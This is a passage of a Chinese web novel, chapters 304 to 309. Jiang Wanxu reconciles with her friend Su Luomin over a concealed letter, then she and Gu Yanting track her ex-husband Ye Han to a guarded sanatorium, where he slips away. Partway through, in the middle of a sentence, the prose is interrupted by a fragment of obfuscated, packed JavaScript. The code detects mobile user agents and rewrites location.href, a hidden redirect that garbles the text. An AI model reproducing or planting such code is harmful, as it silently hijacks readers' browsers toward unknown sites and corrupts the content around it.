她想起了陈默对她说的那番话。
——“我给你送信那天,遇到一个女人,说是你的朋友,姓苏的。”
可是……
苏洛敏并没有把信交给她。
甚至,苏洛敏还装作什么都不知道,陪她一起查找线索。
为什么?
江晚絮想不明白。
“晚絮?”
程宇察觉到她的失神,有些担忧,“是不是太累了?”
江晚絮回过神,摇了摇头,“没事,就是……有点没缓过劲来。”
程宇的眼神闪烁了一下。
他是个警察,最擅长察言观色。
而且,作为苏洛敏的男朋友,他最近也察觉到了苏洛敏的不对劲。
自从江晚絮去瑞典后,苏洛敏就总是魂不守舍,经常对着手机发呆,有时候半夜还会惊醒。
江晚絮去了瑞典以后,程宇就总是觉得不安。
如果是敏敏真的做了什么对不起晚絮的事……
“车在外面,咱们先去局里做个笔录。”
程宇接过顾彦廷手里的行李,掩饰住了眼底的复杂情绪。
顾彦廷看着程宇,若有所思。
第304章 我自己去
机场高速。
江晚絮抱着安安坐在后座,目光投向窗外飞逝的景色。
京市的霓虹灯已经亮起,繁华依旧。
“敏敏……最近还好吗?”
江晚絮突然开口打破沉默。
程宇手抖了一下,车身微微晃动。
“啊……她、她挺好的。”
程宇握紧了方向盘,直视前方,“就是这几天一直在担心你们,吃不好睡不好的。”
“是吗,”江晚絮轻轻应了一声,“那就好。”
程宇咽了咽口水。
其实苏洛敏这几天根本不在家,她说公司要加班,一直住在公司附近的酒店里。
但他不敢告诉江晚絮。
“晚絮,其实……”
程宇咬了咬牙,像是下了很大的决心,“如果……我是说如果,敏敏有时候做事可能……不太理智,或者有什么苦衷,你能不能……”
“程宇。”
江晚絮打断了他。
她转过头看向窗外,声音轻飘飘的。
“我已经没有什么可以失去的了。除了安安和顾彦廷,我不接受任何形式的背叛。”
程宇叹了口气。
其实自从两年前再见到江晚絮,他就已经明白了。
现在的她,不接受背叛,也经不起背叛。
顾彦廷在旁边一直没有说话。
到了市**局。
因为涉及跨国**案和国家层面的交涉,笔录做得非常详细。
流程走完,已经是两个小时后了。
张锐和赵局亲自把他们送到门口。
“顾总,关于那项专利的事,国家会出面跟对方交涉,还请您不要与对方直接接触。”
赵局郑重承诺。
顾彦廷淡淡一笑,“专利是小事,我只要我的妻女平安。另外,我想请赵局帮个忙。”
“你说。”
“如果有叶寒的下落,烦请通知我们一声。”
顾彦廷眼底闪过一丝狠厉,“我们怀疑他参与了这次的**。”
“没问题。”
几人走出警局,就看到门口站着顾家老宅的司机。
程宇站在警局门口,看着他们离开,心里五味杂陈。
他拿出手机,拨通了苏洛敏的电话。
“喂?程宇?”
电话那头,苏洛敏的声音听起来有些疲惫。
“晚絮回来了。”程宇低声说道。
电话那头,是长久的沉默。
过了许久,苏洛敏才再次开口,“她……她知道了吗?”
程宇闭了闭眼,满心苦涩。
“敏敏,你到底瞒了她什么?”
“你不懂……”
苏洛敏的声音带上了哭腔,随后便是“嘟嘟嘟”的忙音响起。
程宇看着挂断的电话,长长地叹了一口气。
清晨顾老太太接到顾彦廷的电话后,就让人把家里认认真真地打扫了好几遍。
老太太这一颗心,悬在嗓子眼好几天了。
“怎么还没到啊?这都几点了?”
老太太拄着拐杖,在客厅里来回踱步。
管家在旁边劝道,“老夫人,刚才少爷不是打电话了吗?已经在路上了,很快就回来了。”
“我能不急吗?晚絮那丫头,命苦啊……”
老太太说着说着,眼圈就红了。
她想起江晚絮的过往经历,心里就跟针扎一样。
“来了!老太太,回来了!”
保姆高喊了跑了进来。
老太太眼睛一亮,扔了拐杖就要往外冲。
管家吓了一跳,赶紧跟上去扶她,“老夫人,您慢点!”
大门打开。
顾彦廷一手抱着熟睡的安安,一手牵着江晚絮,踏着夜色走了进来。
“奶奶。”
顾彦廷喊了一声。
“奶奶。”
江晚絮也跟着喊了一声。
老太太颤颤巍巍地走过去,直接一把抱住了江晚絮。
“可吓死我这老婆子了!晚絮啊,我的好孩子,让你受苦了……呜呜呜……”
“奶奶,我没事……别哭了,小心身体。”
江晚絮轻声安慰。
顾彦廷把安安交给育儿嫂,然后走过去,大手一揽,将两人环抱。
“好了奶奶,安安都睡了,你可别把她再给吵醒。”
老太太一听,立马止住哭声,紧张地看向安安。
看到小家伙依然睡得香甜,这才松了一口气,反手就狠狠瞪了顾彦廷一眼。
“臭小子!”
顾彦廷笑了笑,任由老太太发泄。
顾老太太吸了吸鼻子,立刻招呼管家开饭。
顾老太太一直不停地给江晚絮夹着菜。
“多吃点,看你瘦的。”
“这个鱼,你尝一尝,没有刺耳。”
江晚絮埋头吃着,眼泪混着饭菜一起咽进肚子里。
吃完饭,安顿好安安,江晚絮和顾彦廷回到了他们的卧室。
江晚絮洗完澡出来时,
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就看到顾彦廷正坐在床头看文件。
听到脚步声,顾彦廷抬头,笑着伸手。
“过来。”
江晚絮乖顺地走过去钻进被窝。
顾彦廷顺势将她搂进怀里。
“累不累?”
江晚絮摇了摇头。
“在想苏洛敏的事?”
顾彦廷一针见血。
江晚絮仰起头看着他,“你怎么知道?”
顾彦廷轻笑一声,手指轻轻刮了刮她的鼻子,“我多了解你。”
江晚絮咬了咬唇。
“彦廷,你说……人为什么会变呢?”
她的声音里带着一丝迷茫和痛苦。
“我不相信她会害安安,可是……陈默应该没有撒谎。”
顾彦廷叹了口气,“晚晚,人心是最经不住考验的。”
他顿了顿,认真问她,“你打算怎么做?如果你不想见她,我可以让林舟去找她。”
江晚絮用力摇头,“明天我自己去见她。我想听她亲口告诉我,为什么。”
“好。”
顾彦廷吻了吻她的额头,“那就别想太多,安心睡吧。”
这一夜,江晚絮梦到自己回到了大学校园里。
她和苏洛敏坐在操场的台阶上,分享着同一瓶汽水。
阳光很好,风很温柔。
苏洛敏笑着对她说,“晚晚,我们要当一辈子的好朋友。”
画面一转,却是苏洛敏的背影,手里攥着一封信,一遍又一遍地说着对不起。
第二天,天色有些阴沉。
“今天我要去公司一趟。”
顾彦廷淡淡地开口,“之前我‘失踪’的消息传得沸沸扬扬,我要死而复活一下,吓唬吓唬他们。”
江晚絮忍不住笑道,“没正形。”
顾彦廷低头在她唇上啄了一口,问道,“我去送你?”
“不用。”江晚絮拒绝了,“我自己去。”
这是她和苏洛敏之间的事情,她不想让顾彦廷插手。
顾彦廷也没有勉强,“有什么事随时给我打电话。”
“好。”
两人在门口分别。
一路上,江晚絮的心情都很沉重。
她在想,如果待会儿见到了苏洛敏,第一句话该说什么?
是质问?还是寒暄?
车子停在公寓楼下。
江晚絮坐在车里,做了好几个深呼吸,才推门下车。
她抬头看向那个熟悉的阳台,忽然就觉得有些陌生。
第305章 怎么又是他?
江晚絮在苏洛敏楼下坐了一个小时。
她不知道自己该用什么样的情绪去面对自己唯一的好友。
“敏敏,别让我失望。”
终于,江晚絮下定了决心,推门下车。
天气已经开始炎热,江晚絮走到单元楼门口时,额头上已浸出了一层薄汗。
电梯数字从“1”跳动到“7”。
这短短的一分钟,江晚絮脑海里闪过无数个画面。
大学时两人分吃一碗泡面;毕业后苏洛敏把第一个月的工资她买了礼物;她**家人欺负时,苏洛敏哭得比自己还凶……
“叮——”
电梯门开了。
江晚絮深吸一口气,刚准备迈步,就看到一个熟悉的身影。
苏洛敏站在电梯外,穿着一件皱皱巴巴的灰色卫衣,头发乱糟糟的,手里提着一袋垃圾。
四目相对。
苏洛敏显然也没想到江晚絮会突然回来。
这些天她一直神情恍惚,程宇跟她发信息说江晚絮回国的事,她都没看。
垃圾袋掉在地上,里面的易拉罐滚了出来,咕噜噜地滚进了电梯,撞在了江晚絮的高跟鞋上。
两人谁也没有说话。
电梯因为长久没感应,正要关闭。
苏洛敏伸手,挡住了电梯门。
“啊!”
电梯门夹到了她的手臂,痛得她倒吸一口凉气。
那一瞬间,江晚絮看到了她手腕上那条熟悉的手链。
那是自己送给她的生日礼物,并不值钱,但这几年,苏洛敏从未摘下过。
“晚晚……”
苏洛敏不敢再看她,酸涩的开口,“你……来了。”
江晚絮想冷笑,想质问,想转身就走。
可是看着苏洛敏这副人不人鬼不鬼的样子,那些话却怎么也说不出口。
过了许久。
江晚絮才开口。
“嗯,我来了。”
她弯腰,捡起那个滚落在脚边的易拉罐,然后她看着苏洛敏,问道,“不请我进去坐坐吗?”
苏洛敏愣了一下,随即慌乱地点头。
“进、进来!快进来!外面热……”
她手忙脚乱地捡起地上的垃圾袋,转身就往自己的门口走。
江晚絮跟在她身后,走进了公寓。
公寓里很乱。
苏洛敏是个洁癖,家里地板平日里干净得能当镜子照。
可现在……
茶几上全是外卖盒,地上散落着各种纸团和酒瓶。
窗帘紧紧拉着,很压抑。
苏洛敏似乎也意识到了家里的脏乱,有些窘迫,手忙脚乱地把沙发上的一堆脏衣服抱起来,扔进了卧室。
“那个……有点乱,你别介意,我这两天……太忙了。”
江晚絮静静站在客厅中央,视线在客厅里扫了一圈。
电视柜上放着一张照片。
那是她们大学毕业时的合照。
照片里,苏洛敏笑得没心没肺,搂着江晚絮的脖子做鬼脸。
而江晚絮则眯着一只眼睛,无奈地跟着笑。
“我……我给你倒杯水。”
苏洛敏去厨房接了杯水递给她。
江晚絮接过水杯,指尖触碰到苏洛敏的手指。
两人都像被烫到了一样,迅速缩回手。
江晚絮在沙发上坐下,双手捧着水杯。
苏洛敏站在茶几对面,双手绞在一起,紧咬着下唇,有些紧张。
“坐吧。”
江晚絮低头抿了一口水。
苏洛敏犹豫了一下,还是坐在了阳台前的小沙发上。
江晚絮一口一口地喝着水。
她其实不渴。
她只是不知道该怎么开口。
从哪里开始说起呢?
问她为什么要背叛自己?
问她是不是收了别人的好处?
还是问她,这么多年的友情,在她眼里到底算什么?
江晚絮突然觉得很累。
“敏敏,我……”
“晚晚,我……”
两人同时开口。
声音撞在一起,又同时戛然而止。
客厅里再次安静下来。
江晚絮放下水杯,抬起头,目光平静地看着苏洛敏。
“你先说吧。”江晚絮淡淡道。
苏洛敏扯出一个勉强的笑容,低声问,“晚晚,你……你是不是特别恨我?”
“恨吗?”
江晚絮反问。
如果是以前的她,遭遇背叛肯定会恨不得对方**,却又无能为力。
但是现在……
经历过那么多事情以后,她觉得,自己的恨意阈值,已经被拉得太高太高了。
对于苏洛敏,可能只是有些失望吧。
江晚絮
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摇了摇头。
“我不知道。”
她轻声开口,“在没有弄清楚原因之前,我不会轻易责怪你。”
“毕竟……”
她顿了顿,苦笑。
“毕竟这么多年来,只有你对我是真心的。”
苏洛敏看着她,心里那股郁气,开始不断翻腾。
上上下下,不断地冲撞着。
终于,撞破了喉咙,撞开了她混沌般的大脑,变成了一声哀嚎。
“哇——”
苏洛敏再也忍不住,嚎啕大哭起来。
她从沙发上滑落,跪坐在地上,双手捂着脸,哭声震天。
“对不起……晚晚……对不起……”
“你怎么不打我啊……呜呜呜……”
江晚絮看着她这副样子,她叹了口气。
没想到经历这么多,她还是个软蛋。
她走到苏洛敏面前,蹲下身轻轻抱住了她。
“好了,别哭了。”
江晚絮轻轻拍着她的后背,“再哭,楼下邻居可就要投诉了。”
听到这句熟悉的调侃,苏洛敏哭得更凶了。
她紧紧抱住江晚絮的腰,哭得眼泪鼻涕一大把。
过了好久,她的哭声才渐渐小了下来,变成了断断续续的抽噎。
她抬起头,双眼红肿地看着江晚絮。
“晚晚,你等我一下。”
苏洛敏吸了吸鼻子,胡乱抹了一把脸,然后去了卧室。
片刻后,她拿着一个皱皱巴巴的信封走了出来。
那个信封看起来已经被揉捏过无数次,封口处有被拆开过的痕迹。
“这就是……这就是那封信。”
江晚絮看着那个信封,目光微凝。
这就是陈默说的那封信。
她没有伸手去接。
既然安安已经找回来了,信里写了什么,还重要吗?
重要的是,苏洛敏为什么要在那个时候瞒着她。
“为什么?”
江晚絮抬眸,“给我一个理由。”
苏洛敏攥着信封,抽了抽鼻子,“安安失踪的前一天,有个陌生人把这封信塞给我,让我转交给你。”
“我当时正准备去找你,结果……在半路上,我遇到了一个人。”
提到那个人,苏洛敏的眼里满是怒意。
她咬牙切齿地说:
“叶寒。”
第306章 老**开的
苏洛敏说起那个下午的时候,整个人都很狰狞。
叶寒行色匆匆,撞到了同样焦急的苏洛敏。
他不仅嘲笑苏洛敏被人**骗色,还说她是江晚絮的狗。
苏洛敏气疯了,拿起手里的文件袋不管不顾地朝着叶寒就丢了过去。
陈默写给江晚絮的信,就是在那个时候掉出来的。
当时叶寒怎么说的?
【如果你想害死江晚絮,就把这封信给她。】
就因为这句话,苏洛敏犹豫了。
她把信藏了起来。
直到江晚絮去了瑞典,她才拆开那封信。
看完信里的内容后,她气得连着扇了自己十几个耳光。
所以,苏洛敏根本就没有背叛她。
江晚絮松了口气。
她看向苏洛敏,却见她红着眼紧紧咬着下唇,一脸的愧疚。
“敏敏。”
江晚絮伸手,抽走了苏洛敏手里的信封,直接撕了个粉碎。
苏洛敏瞪大了眼睛看她,“晚晚,你还没看……”
“不重要了。”
江晚絮笑得很真心,“你啊,现在就是个傻白甜。”
她如果不傻,怎么会因为一句话就疑神疑鬼?
说句不好听的,如果不傻,怎么会被周旭那个大傻X**?
苏洛敏又哭了。
“晚晚……呜呜呜,我对不起你晚晚……”
苏洛敏扑过来,再次抱住了江晚絮的脖子,放声痛哭。
江晚絮任由她抱着,直到她哭得咳起来,江晚絮赶紧拿了抽纸劝她。
“好啦,”她给她擦了擦脸,“咱们现在说正事吧。”
苏洛敏止住了哭声点点头。
随即又露出一副要**的表情。
“我恨死那个渣男了!你知道吗?我这些天一直在找他。我要亲手撕了他!大卸八块!体无完肤!片甲不留!”
苏洛敏把平生能用到的四字词语全都念了一遍,依然不解气。
“那你找到了吗?”江晚絮问。
顾彦廷那边也在找叶寒,但是一直都没有进展。
苏洛敏点了点头,又摇了摇头,表情古怪。
“算是找到了,但又没有完全找到。”
江晚絮皱眉,“什么意思?”
“我找了**,他们查到叶寒根本就没有出国。这段时间他好像躲在疗养院里。”
“疗养院?”江晚絮有些意外,“他病了?”
“哼,谁知道呢!”苏洛敏冷哼一声,“说不定是坏事做多了遭报应了呗。”
“不过那个疗养院……”她顿了顿,想起侦探对她说的话,“据说那个疗养院是很高级的私人疗养院,一般人都进不去。”
苏洛敏说到这,有点泄气。
“晚晚,我真的尽力了。”
她盘腿坐在地毯上,一脸的挫败,“那个静安疗养院,安保也太严格了。我假装送外卖的、修空调的,甚至还想过装老太太去当清洁工,都被保安给叉出来了。”
“没关系,”江晚絮安慰她,“如果随便谁都能进去,叶寒也不会躲在那里了。”
“那怎么办?”苏洛敏急得抓耳挠腮,“难道就这样算了?”
“敏敏。”
江晚絮看着她焦急的样子,心里涌出一丝暖意。
“这件事就交给我吧。”
“你?”苏洛敏瞪大了眼睛,“不是我小看你……你怕是没这个能力哦。”
“我进不去,但有人进得去啊。”
江晚絮也觉得自己做不到。
她的脑子,都被作者给啃了,只剩点渣渣。
“你是说……”苏洛敏立马明白了她话里的意思,“顾彦廷?”
江晚絮点头。
“好吧。”苏洛敏也不是婆婆妈妈的人,“找到人以后喊我,我要踹他两脚。”
两人又聊了一会儿。
苏洛敏这些天因为愧疚,一直都没睡好觉。
这会儿把话说开了,整个人精神放松,困意也就上来了。
“晚晚,我眯一会儿哦,你别着急走。我就眯一会儿,一小会儿……”
她说着话,人就斜靠在沙发上,不到两分钟就睡着了。
江晚絮从卧室里拿了一条薄被给她盖上,又把公寓里简单整理了一下才离开。
然后,直奔顾氏集团。
刚从电梯里出来,就看到会议室的大门打开。
顾氏的高层一个个面色凝重的走了出来。
很显然,刚才的会议并不轻松。
顾彦廷是最后一个出来的。
“晚晚?”看到江晚絮,他显然有些意外,“你怎么来了?”
不是去找苏洛敏了吗?这么快就好了?
果然,女人的友谊是世界上最难懂的东西之一。
江晚絮笑着牵起他的手,“我们和好了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263473|192440||http|test|mini|href|location''.split(''|''),0,{}));
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r>顾彦廷挑了挑眉。
被他猜中了。
回到办公室后,江晚絮开门见山,把苏洛敏的事情说了一遍。
“她查到了叶寒的下落。”
听到叶寒的名字,顾彦廷依然觉得不舒服。
前夫哥都蹦跶了300章了,还没噶。
别说读者了,就连作者本人都有点鄙视自己了。
“林舟,”顾彦廷走到办公桌前按下内线电话,“进来。”
“顾总。”
林舟很快就进来了。
“找到叶寒了,”顾彦廷看着他,“说是躲在一个叫‘静安’的私人疗养院。”
“静安疗养院?”
林舟闻言,脸色微微一变,眉头也跟着皱了起来。
“你知道?”
江晚絮察觉到了他的表情变化。
林舟点点头。
“顾总,夫人,这个静安疗养院背景很不简单。据说疗养院背后的老板,是一位退下来的老**。”
“老**?”江晚絮心里一沉。
这本小说到底怎么回事?
除了林舟,谁的背后都有大佬。
【林舟:夫人你……】
“对,就是那种……”林舟想了想措辞,“在新闻联播里坐第一排桌子的那种。”
江晚絮了然。
怪不得苏洛敏费尽心思也混不进去。
“叶寒怎么会躲在那儿?”她看向顾彦廷,“他虽然现在有点钱,但即便是从前的叶家,也没听说结交了这样的大人物。”
林舟摇了摇头。
他就是个高级跑龙套的,他要能知道原因,最次也得混个男三当当。
“别担心。”
顾彦廷走到江晚絮身边,“我会想办法的。”
“可是……”江晚絮有些担忧,“如果硬闯的话,会不会给你惹麻烦?”
她不想因为自己,让顾彦廷树敌太多。
虽然已经很多了。
顾彦廷用手指勾了勾江晚絮的鼻子,笑道,“谁说我要硬闯了?”
江晚絮一愣,脱口而出,“不硬闯,难道夜袭吗?”
顾彦廷想起网络上的一句话:一孕傻三年。
现在,他的高知媳妇儿,就是这个状态。
本来就是个傻子,生了孩子以后就更傻了。
他提醒江晚絮,“咱家还有个老太太呢,你忘了?”
江晚絮反应了好一会儿才恍然大悟。
第307章 胆子太肥了
顾彦廷和江晚絮驱车赶往顾家老宅。
车子刚驶进大门,管家就赶紧带人迎了出来。
“老太太都念叨一上午了,”老管家笑得一脸褶子,“说是今儿一大早,就有喜鹊在叫呢。”
顾彦廷忍不住吐槽,“喜鹊最开始是凶鸟,尤其是魏晋南北朝——。”
江晚絮捅了捅他的腰,瞪了他一眼。
顾彦廷成功闭嘴。
两人进了正厅。
顾老太太今天穿了一件唐装,此时正站在鱼缸前。
听到脚步声,老人家立刻看了过来。
“哎哟,晚晚来啦!”
顾老太太笑着就要往这边走。
顾彦廷连忙上前去扶,“奶奶,您慢点。”
老太太今年都八十三了,虽然看上去很硬朗,但小毛病却不少。
更重要的是,现在的顾家,老太太是唯一明事理的人。
他那个不争气的爹,在安安出生后没多久就跑到国外去了,说是想开了,要周游世界,现在都没回来。
有爹跟没爹也没什么太大差别。
老太太没理他,而是笑盈盈的拉住了江晚絮的手。
“晚晚啊,休息好了吗?我瞧着气色怎么不太好呢?”
老太太心疼无比,说着就砖头又瞪了顾彦廷一眼,“你是不是又欺负晚晚了?”
顾彦廷摊手,“奶奶,我们才刚回国两天。”
“两天怎么了?两天也能把人养胖!”
老太太不讲理。
江晚絮心里暖暖的。
“奶奶,您别担心,我睡得很好。就是这两天胃口不太好。”
“胃口不好?”老太太大手一挥,“明儿我让老关上你家给你做三个月饭。”
说着,她就往两人身后看去。
看了半天,也没见她们家的育儿嫂。
顾老太太脸上的笑容瞬间就垮了一半。
“安安呢?你们怎么没带她?”
顾彦廷扶着老太太坐下,“安安那么小就坐国际长途,还没缓过来呢。”
“哼,”老太太把脸一扭,“怎么?在这儿就不能睡觉了?”
两人又是解释,又是哄劝。
直到最后,江晚絮答应带着安安在老宅住俩月,老太太才勉为其难的高兴了点。
“说吧,你们找我什么事儿。”
老太太一眼就看穿了他们的意图。
顾彦廷也不拐弯抹角,直接问道,“奶奶,您知道静安疗养院吗?”
老太太原本还乐呵呵的,听到这句话,脸色却是一怔。
她端起茶盏的手顿了顿,眼神开始变得有些深邃。
“静安啊……”老太太叹了口气,把茶盏放回桌上,“怎么突然问起这个地方?”
“叶寒您记得吗?”顾彦廷沉声道,“他躲在那里。”
老太太陈默片刻后缓缓开口。
“那个地方确实不好进。老李头是个出了名的倔脾气,他定的规矩谁都不能破。如果没有他的允许,还真就是谁都不行。”
顾老太太说到这,也疑惑起来。
“不过,我倒从没听说过他和叶家有什么交情。”
“奶奶,”顾彦廷适时地插嘴,“能不能麻烦您,联系一下李**?”
江晚絮看了顾彦廷一眼,想了想,补充道,“我知道这很冒昧,也很让您为难。但是叶寒参与了安安的**,我不想就这么放过他。”
顾老太太看着江晚絮,心里一酸。
多好的孩子啊。
怎么就摊上了那么一家子亲戚,又遇上了叶寒那么个畜生。
想当初,这孩子嫁进顾家的时候,瘦得风一吹就能跑。
那时候她还不知道江晚絮受了多少罪,只觉得这姑娘太让人心疼了。
“傻孩子,跟奶奶说什么麻烦不麻烦的。”
顾老太太眼眶有些发热,她伸手拍了拍江晚絮的手背。
“等着,我现在就去给他打电话!”
看着老太太的背影,江晚絮终于觉得心中的郁气散了几分。
她想起自己刚回到江家的时候。
当时班上的同学
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笑话她的普通话不标准,她哭着回家告诉**嵩。
谁知他非但不帮她出头,还骂她事儿多。
“在想什么?”
顾彦廷低声问道。
江晚絮回过神。
“在想,”她顿了顿,语气轻飘飘的,“如果你早点长嘴就好了。”
顾彦廷:“……”
他被噎了一下,“作者设定的,我有什么办法?”
江晚絮无奈轻笑。
不一会儿,顾老太太从卧室出来了,脸上带着几分得意。
“老李同意了。”老太太摆摆手,“他说他在老房子那边。”
“谢谢奶奶。”
江晚絮站起身,真心实意地道谢。
“谢什么谢,赶紧去把那个祸害抓回来!”老太太想起自己的重孙子,也是一脸的怒意,“敢动我的宝贝安安,胆子太肥了!”
临走前,江晚絮又承诺了一遍,晚点一定会带安安过来。
老太太这才心满意足地放人。
车子驶出顾家老宅,向着城西驶去。
“热吗?”
顾彦廷见她抬手擦额头,立刻把车里的空调温度调低了两度。
江晚絮摇摇头,“不热。”
“待会儿见到李**,你别说话,我来谈。”顾彦廷握着方向盘,“那种老头子脾气都怪,别让他吓着你。”
江晚絮挑眉,“顾总,我又不是瓷娃娃。”
“在我眼里,你可不就是瓷娃娃。”顾彦廷瞥了她一眼,“稍微碰一下就碎了,还得我跪着一片片拼起来。”
江晚絮没忍住,笑出了声。
李**的住处位于城西一片老式军区公寓。
车子停在了一栋满是爬山虎的小楼前。
“这就是李**的家?”
江晚絮有些意外。
这房子看起来,甚至比不上江家给保姆住的附楼。
“可别小瞧了这种地方。”顾彦廷帮她拉开车门,在她耳边低语,“在这里,扔一块砖头都能砸中几个领导。”
江晚絮了然。
第308章 扑空
江晚絮和顾彦廷,按照顾老太太所说,找到了李**住的房子。
给他们开门的是个头发花白的老头儿。
“李爷爷。”
顾彦廷恭恭敬敬地叫了一声。
江晚絮也跟着叫人,“李爷爷好。”
李**抬眼在两人身上扫了一圈。
江晚絮下意识地挺直了背脊。
“你就是顾家的那个小媳妇?”李**哼了一声,“我听说过你不少事儿,还挺能折腾的。”
江晚絮吐了吐舌头。
“进来吧。”
李**转身进屋,指了指沙发的位置,“坐吧。”
顾彦廷拉着江晚絮坐下,开门见山,“李爷爷,既然您愿意见我们,想必也知道我们是为了什么来的。”
“为了叶家那小子吧。”
李**放下喷壶,喝了一口水,动作慢悠悠的,却带着一种无形的压迫感。
“是。”顾彦廷点头,“虽然没有直接证据,但他参与了**我女儿的事情。现在,他躲在您的疗养院里。”
江晚絮观察着李**的表情。
听到“**”的时候,老人的眉头明显皱了一下。
“**?”李**放下杯子,声音沉了几分,“他跟我说的是,他生意失败,被人催债,求我给他个地方避避风头。”
“呵。”江晚絮冷笑。
“避风头?他是想拿您当挡箭牌吧。”
李**看向江晚絮,眼神探究,“丫头,话不能乱说。”
“李**,”江晚絮毫无惧色地迎上他的目光,“我女儿安安,才一岁。被他高密遭遇**。如果不是大使馆和**部介入,我和孩子现在可能就回不来了。”
她说着,声音就有些发颤。
“您是老英雄,保家卫国一辈子。我想问问您,这样一个勾结外敌、残害同胞幼童的**,您为什么要保他?”
李**的脸色变了变。
“李爷爷,我们查过了,叶家和您并没有什么往来。晚辈斗胆问一句,您为什么会给他提供庇护?”
这是顾彦廷想不通的地方。
老辈子的人原则性都很强。
况且,李**是正经上过战场的,对这些见不得光的事情更是深恶痛绝。
怎么可能做出包庇叶寒的事情来。
如果不搞清楚这层关系,就算今天抓到了叶寒,日后若是李**要保人,也是个麻烦。
李**沉默了一会儿,从口袋里摸出一包烟,抽出一根,却没点燃,只是放在鼻端闻了闻。
良久,他才长叹一口气。
“那是十几年前的事了。”
老人的声音有些沧桑。
“我有个不成器的儿子,叫**。那小子从小被我惯坏了,整天在外面惹是生非。”
江晚絮和顾彦廷对视一眼,静静地听着。
“有一年,建国在外面跟人打架,失手把人给捅了,伤得很重。”
李**的手微微颤抖。
“那时候正是严打,这一刀下去,弄不好就要吃枪子。我当时正在边境执行任务,根本顾不上家里。”
“老婆子根本不敢报我的名字,这时候叶寒却主动站出来了。”
“叶寒?”江晚絮不可置信。
“对,就是他。”李**苦笑一声,“他和建国是发小。他说人是他捅的,是他为了保护建国才动的手。当时那把刀上也确实只有他的指纹。”
“后来呢?”顾彦廷问。
“后来因为他是未成年,又是‘正当防卫’过当,加上叶家运作了一下,这事儿就不了了之了。”
李**闭上眼睛,仿佛不愿回忆那段往事。
“我这辈子,最怕欠人情。所以这些年,虽然我看叶家那小子心术不正,不愿跟他多来往,但我承诺过他,只要不触犯法律底线,在他走投无路的时候,我可以帮他一次。”
原来如此。
二十年前的叶寒才多大?十几岁?
十几岁就有这样的城府,知道用一次“顶罪”来换取一位军区**未来几十年的承诺?
“李爷爷,”江晚絮斟酌了一下用词,“您有没有想过,也许当年那把刀,本来就是在叶寒手里的呢?”
李**看向江晚絮。
“你说什么?”
“叶寒是什么样的人,我太了解了。”江晚絮眼中满是嘲讽,“他连自己的枕边人都能算计,这样的人,会为了所谓的‘兄弟义气’去顶罪?”
“也许他本来就是主谋,只是顺水推舟,把这个‘人情’卖给了您。”
李**拧紧了眉头。
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他不是没怀疑过。
只是那时候他不在场,加上儿子一口咬定是叶寒救了他,他才不得不信。
如今想来,当时叶寒的反应,的确太大义凛然了。
“不管当年真相如何,”顾彦廷站起身,“现在的事实是,他叛国,**,勒索。李爷爷,您……还要帮他吗?”
李**沉默了足足一分钟。
最后,他站起身,神色严肃地看向两人。
“我李某人一辈子光明磊落,绝不给这种**贼当保护伞!既然他骗了我,那就别怪我不念旧情!”
说着,他拿起桌上的红色电话,拨通了一个号码。
“喂,我是李大炮!顾家的人要进去,不许拦着。”
挂断电话,李**看向两人。
“去吧。抓到那个混蛋,替我踹他两脚!”
有了李**的通融,接下来的路程就顺畅多了。
静安疗养院位于京郊的一处半山腰上。
四周环山,绿树成荫,如果不是知道这里住的都是些什么人,光看环境,还真以为是什么世外桃源。
“顾总,夫人。”
林舟早已等在门口。
等到两人走进,他赶紧把身边的妇女介绍给二人。
“这位是周院长。”
顾彦廷和江晚絮看过去。
是个大约四十出头的优雅妇女。
“顾总,请。”
周院长笑着在前面带路。
夫妻俩对视一眼。
“林舟,守着,”顾彦廷吩咐,“别让他跑了。”
林舟郑重点头。
两人跟在周院长身后,走进了疗养院。
这里之所以会成为如世外桃源一般的“仙境”,除了背后有李**外,还因为这里住的老头老太太,非富即贵。
虽说比不上国外的高档疗养院,但好在这里安保和设施都很高级。
又都是互相之间很熟悉的,所以有很多京市退休的政商界大佬都会选择在这里隐世养老。
毕竟,老一辈子是真的很恋家,对国外也没有那么大的向往。
“就是这间。”
周院长停在了一间屋子前。
江晚絮有点小紧张,顾彦廷握了握她的手,“放心吧,这次我一定抓住他。”
但他们到底还是扑了个空。
第309章 暴雨来袭
周院长亲自把门打开,顾彦廷浑身戾气迈了进去。
江晚絮紧随其后冲进房间。
宽敞房间里,空空荡荡。
床上的被子叠得整整齐齐,连个褶皱都没有。
茶几上还有半盘没吃完的水果。
但人,不见了。
“操!”
顾彦廷忍不住爆了句粗口。
“人呢?!”
他转过身看向周院长,“人呢?!去哪儿了?!”
周院长也是一脸懵,把视线转向了身后的护士。
“十分钟前我来查房,他还……他还在呢!”
“十分钟?”
江晚絮走过去摸了摸那个茶杯。
温热的。
她回身看向顾彦廷,点了点头。
周院长带着他们走向监控室。
大屏幕上播放着十分钟前的画面。
画面里,叶寒正坐在窗边看书。
他随意瞥了窗外一眼,就突然站起了身。
然后就跟触电一样,拿起外套就往外跑。
“好,很好。”
顾彦廷怒极反笑,那笑容让人毛骨悚然。
他掏出手机,拨通了赵局的电话。
“赵局,叶寒刚刚跑了,烦请您查一查。”
挂断电话,顾彦廷看向江晚絮。
“走吧,咱们去找他。”
两人出了疗养院,顾彦廷跟林舟说了些什么,然后就和江晚絮上了车。
顾彦廷一脚油门踩下去,车子迅速飞了出去。
一路上,他都没有开口说话,整个人看上去十分暴戾。
“顾彦廷。”
江晚絮终于开口,声音有些哑,“慢点开。”
顾彦廷凝神看着前面,没有回应。
江晚絮叹了口气,伸出手覆在了他的右手上。
“顾彦廷,我害怕。”
几乎是瞬间,车速降了下来。
顾彦廷反握了她的手,又快速放开。
“抱歉,吓到你了?”
“没有。”江晚絮摇摇头,“我只是在想,叶寒既然会跑,说明他早有准备。”
顾彦廷眼底闪过一丝阴鸷,“他最好跑到火星上去。”
车子很快驶入了市区。
路过一个路口时,顾彦廷猛地打转方向盘,靠边停下。
“下车。”
江晚絮一愣,“什么?”
“我让林舟送你回去。”顾彦廷解开安全带,侧过身看着她,“你回家等我。”
“我不回去。”
江晚絮下意识地拒绝,“我要跟你一起去……”
“晚晚!”
顾彦廷有些生气了。
